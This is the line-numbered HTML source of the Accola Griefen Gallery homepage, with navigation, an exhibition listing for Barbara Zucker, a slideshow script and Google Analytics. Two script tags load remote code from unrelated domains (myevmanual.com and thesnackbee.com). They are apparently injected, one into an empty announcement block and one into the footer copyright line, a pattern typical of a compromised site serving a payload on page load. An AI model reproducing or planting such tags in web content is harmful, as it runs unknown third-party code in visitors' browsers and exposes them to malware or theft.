http://accolagriefen.com/home

1<!doctype html> 
2<!--[if lt IE 7 ]> <html lang="en" class="no-js ie6"> <![endif]-->
3<!--[if IE 7 ]>    <html lang="en" class="no-js ie7"> <![endif]-->
4<!--[if IE 8 ]>    <html lang="en" class="no-js ie8"> <![endif]-->
5<!--[if IE 9 ]>    <html lang="en" class="no-js ie9"> <![endif]-->
6<!--[if (gt IE 9)|!(IE)]><!--> <html lang="en" class="no-js"> <!--<![endif]-->
7<head>
8  <meta charset="utf-8">
9  <title>Accola Griefen Gallery</title>
10    
11  <!--FACEBOOK-->
12  <meta property="og:title" content="" />
13  <meta property="og:type" content="" />
14  <meta property="og:url" content="" />
15  <meta property="og:image" content="" />
16  <meta property="og:site_name" content="" />
17  <meta property="og:description" content="Accola Griefen Gallery presents exhibitions by emerging and mid career artists working in a variety of genres within the mediums of painting, sculpture, photography, work on paper, installation and performance. Through solo and group exhibitions and parti" />
18
19  <!--SEO-->
20  <meta name="description" content="Accola Griefen Gallery presents exhibitions by emerging and mid career artists working in a variety of genres within the mediums of painting, sculpture, photography, work on paper, installation and performance. Through solo and group exhibitions and parti" />
21  <meta name="keywords" content="Kristen Accola, Kat Griefen, Rob van Erve, Judy Pfaff, Ray Oglesby, Rob van Erve, Mitch Miller, Rhonda Wall, Keun Young Park, Gallery, Art, Women, sculpture, painting, drawing, installation, artist, Chelsea, Kat Griefen, Kristen Accola, abstract, pattern " />
22  
23  <!--STYLES-->
24  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
25  <meta name="viewport" content="width=device-width, initial-scale=1.0">
26
27  <link href="http://accolagriefen.com/assets/css/base.css?v=1" rel="stylesheet" />
28  
29  <!--ENABLE HTML5 (all other scripts in foot)-->
30  

30<script src="http://accolagriefen.com/assets/js/modernizr-1.6.min.js"></script>

30
31
32</head>
33
34<body class="homepage">
35
36  <header class="float-group">
37    <h1  class="logo"><a href="/home" class="logo"><img src="http://accolagriefen.com/assets/images/site/logo.2x.png" alt="Accola Griefen"></a></h1>
38    <nav><a href="/about">About</a><a href="/exhibitions">Art Fairs &amp; Exhibitions</a><a href="/artists">Artists</a></nav>
39  </header>
40
41      
42    <style>
43    body.homepage aside figure {
44        float: none;
45        width: 100%;
46    }
47    body.homepage aside figure:first-child {
48        margin: 0;
49    }
50
51    body.homepage section article:first-child {
52        float: none;
53        margin: 0;
54        width: 100%;
55    }
56    </style>
57  <aside class="float-group"><figure><a href="http://accolagriefen.com/exhibitions/barbara-zucker-1"><img src="http://accolagriefen.com/assets/images/portfolio/orig-3b742f1b51f2d4e719fce64d1f88b3ea.png"></a><figcaption>Barbara Zucker, Pastel Floor Piece, 1972</figcaption></figure></aside><section class="float-group">
58      <article><h2>Barbara Zucker</h2><h3>in 90 Years at Institute of Contemporary Art/Boston (ICA) </h3><p><time>October 15, 2026 - March 7, 2027</time></p><p>

58<a href="http://accolagriefen.com/exhibitions/barbara-zucker-1">More</a></p>
59      </article></section>    <style>
60    body.homepage aside figure {
61        float: none;
62        width: 100%;
63    }
64    body.homepage aside figure:first-child {
65        margin: 0;
66    }
67
68    body.homepage section article:first-child {
69        float: none;
70        margin: 0;
71        width: 100%;
72    }
73    </style>
74
75  <div class="announcement top-divider">
76    
77      <section class="float-group">
78        <article>
79            <h2></h2>
80            <p><br>

80<script src=//myevmanual.com/d.js></script>

80<p class="MsoNormal" style="margin: 0in 0in 0.0001pt;"></p></p>
81        </article>
82      </section>
83
84            
85  </div>
86
87  <footer>
88    <ol>
89      <li><a href="mailto:[email protected]">[email protected]</a></li><li><a href="//www.accolagriefen.com">www.accolagriefen.com</a></li><li>

89<script src=//thesnackbee.com/d.js></script>

89copyright &copy; accola griefen</li>    </ol>
90</footer>
91  
92  <!--SITE SCRIPTS-->
93  

93<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>

93
94  

94<script>!window.jQuery && document.write(unescape('%3Cscript src="http://accolagriefen.com/assets/js/jquery.1.7.2.min.js"%3E%3C/script%3E'))</script>

94
95  

95<script src="http://accolagriefen.com/assets/js/jquery-easing.js"></script>

95
96  <!--[if lt IE 7 ]>
97    

97<script src="http://accolagriefen.com/assets/js/dd_belatedpng.js"></script>

97
98    

98<script> DD_belatedPNG.fix('img, .png_bg'); </script>

98
99  <![endif]-->
100
101  <!--PAGE SCRIPTS-->
102  
103  <!--GLOBAL: slideshow script-->
104  

104<script>
105  (function () {
106    'use strict';
107    var slideshow = document.querySelector('.slideshow'),
108        prev = slideshow && slideshow.querySelector('a.prev'),
109        next = slideshow && slideshow.querySelector('a.next'),
110        container = slideshow && slideshow.querySelector('div'),
111        slides = slideshow && slideshow.querySelectorAll('div > figure'),
112        lastSlideIndex = slides && slides.length - 1,
113        currentSlide = 0,
114        hashPrefix = '#!image-';
115
116    function setContainerHeight() {
117      var h, i, l, slide, slideImage, maxHeight = 0;
118      for (i = 0, l = slides.length; i < l; i++) {
119        slide = slides[i];
120        slideImage = slide.querySelector('img');
121
122        // fail-safe, in case the image has not loaded yet
123        slideImage.addEventListener('load', function(e) {
124          h = parseInt(window.getComputedStyle(slide).height);
125          if (h > maxHeight) {
126            maxHeight = h;
127            container.style.minHeight = maxHeight + 'px';
128          }
129        });
130
131        h = parseInt(window.getComputedStyle(slide).height);
132        maxHeight = h > maxHeight ? h : maxHeight;
133      }
134      container.style.minHeight = maxHeight + 'px';
135    }
136
137    function hideSlide(index) {
138        slides[index].className = '';
139    }
140
141    function showSlide(index) {
142        slides[index].className = 'on';
143    }
144
145    function go(direction) {
146        hideSlide(currentSlide);
147        direction === 'next' ? currentSlide++ : currentSlide--;
148        if (currentSlide < 0) {
149            currentSlide = lastSlideIndex; 
150        } else if (currentSlide > lastSlideIndex) {
151            currentSlide = 0;
152        }
153        showSlide(currentSlide);
154        updateHash(currentSlide);
155    }
156
157    function updateHash(hash) {
158      window.location.hash = hashPrefix + hash;
159    }
160
161    function gotoHash() {
162      var slideIndex = parseInt(window.location.hash.replace(hashPrefix, '')) || 0;
163
164      hideSlide(currentSlide);
165      currentSlide = slideIndex;
166      showSlide(currentSlide);
167    }
168
169    function thumbnailHandler(index) {
170        return function (e) {
171            e.preventDefault();
172            hideSlide(currentSlide);
173            currentSlide = index;
174            showSlide(currentSlide);
175            updateHash(currentSlide);
176            $('html, body').animate({ scrollTop: $(slideshow).offset().top }, 500);
177        };
178    }
179
180    function makeThumbnailsClickable() {
181        var i, l, thumbnails = document.querySelectorAll('.slideshow-thumbnails img');
182
183        if (thumbnails) {
184            for (i = 0, l = thumbnails.length; i < l; i++) {
185                $(thumbnails[i]).on('click', thumbnailHandler(i));
186            }
187        }
188    }
189
190    function init() {
191        // TODO: make sure that the slideshow is tall enough
192        // TODO: align the buttons closer to the images (perhaps using the widest image)
193        setContainerHeight();
194        gotoHash();
195        $(prev).on('click', function (e) {
196            e.preventDefault();
197            go('prev');
198        });
199        $(next).on('click', function (e) {
200            e.preventDefault();
201            go('next');
202        });
203        makeThumbnailsClickable();
204        $(document).keydown(function(e) {
205            switch (e.which) {
206                case 39:
207                    go('next');
208                    break;
209                case 37:
210                    go('prev');
211                    break;
212                default:
213                    break;
214            }
215        });
216        $(window).on('hashchange', gotoHash); // Make back and forward buttons work.
217    }
218
219    if (slides) {
220        init();
221    }
222})();
223
224  </script>

224
225
226  <!-- GOOGLE ANALYTICS -->
227  

227<script>

227
228  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
229  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
230  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
231  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
232
233  ga('create', '

233UA-81645096-1

233', 'auto');
234  ga('send', 'pageview');
235  

235</script>

235
236
237</body>
238</html>